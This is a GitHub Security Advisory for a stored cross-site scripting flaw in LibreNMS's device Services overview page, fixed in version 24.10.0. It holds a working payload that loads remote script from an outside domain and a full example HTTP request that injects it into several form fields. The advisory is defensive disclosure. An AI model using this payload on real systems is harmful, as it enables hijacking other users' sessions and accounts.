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GHSA-qr8f-5qqg-j3wg

GitHub Security Advisory

LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.php

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.

### Details
When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "name" parameter. This payload is then reflected in the "Services" section of the "Overview" page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").

The payload used to exploit this vulnerability is:
```Name'"><script/src=//15.rs></script>```

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause is the application's failure to sanitize the "name" parameter before outputting it in the HTML. The sinks are as follows:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/services.inc.php#L36
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview.inc.php#L74

### PoC
1. Create a service for a device using the following payload in the "name" parameter:
```Name'"><script/src=//15.rs></script>```
2. Save the service.
3. Navigate to the "Overview" page of the device.
4. Observe that the injected script executes in the "Services" section of the page.

Example Request:

```http
POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>&params=Params'"><script/src=//15.rs></script>&Submit=
```

### Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" section of the device's overview page. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.

Affected Packages

Packagist librenms/librenms
Affected versions: 0 (fixed in 24.10.0)

Related CVEs

Key Information

GHSA ID
GHSA-qr8f-5qqg-j3wg
Published
November 15, 2024 3:39 PM
Last Modified
November 15, 2024 8:49 PM
CVSS Score
7.5 /10
Primary Ecosystem
Packagist
Primary Package
librenms/librenms
GitHub Reviewed
✓ Yes

Dataset

Last updated: September 14, 2025 6:31 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.